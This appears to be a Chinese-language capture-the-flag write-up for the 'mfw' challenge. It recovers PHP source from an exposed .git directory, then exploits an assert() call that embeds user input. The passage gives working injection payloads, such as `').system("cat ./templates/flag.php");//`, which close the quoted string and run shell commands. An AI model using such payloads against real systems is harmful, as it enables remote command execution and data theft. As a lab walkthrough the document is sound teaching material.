mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
白玉cfc33 分钟前
Git提交规范
git·github
电化学仪器白超13 小时前
小乌龟Git全程图形化操作指南:嵌入式本地版本管理与Gitee私有云备份实战
git·python·单片机·嵌入式硬件·物联网·gitee·自动化
K3v16 小时前
【git】删除本地以及远端已经合并到master的分支
大数据·git·elasticsearch
云攀登者-望正茂20 小时前
将 develop 分支拉取到特性分支时解决合并污染问题
git
金銀銅鐵1 天前
[git] 如何找到已经“丢失”的 commit?
git·后端
尘世壹俗人1 天前
linux编译安装git
linux·运维·git
打不了嗝 ᥬ᭄2 天前
Git 原理与使用
git·gitee
m0_614619062 天前
花了一下午学 Git,整理了一份学习笔记
笔记·git·学习
AGV算法笔记2 天前
解决Git> git add -A -- fatal: CRLF would be replaced by LF in Test/Test.cpp
git
Dontla2 天前
VSCode插件Git Graph介绍(Git可视化管理分支、可视化Git)
ide·git·vscode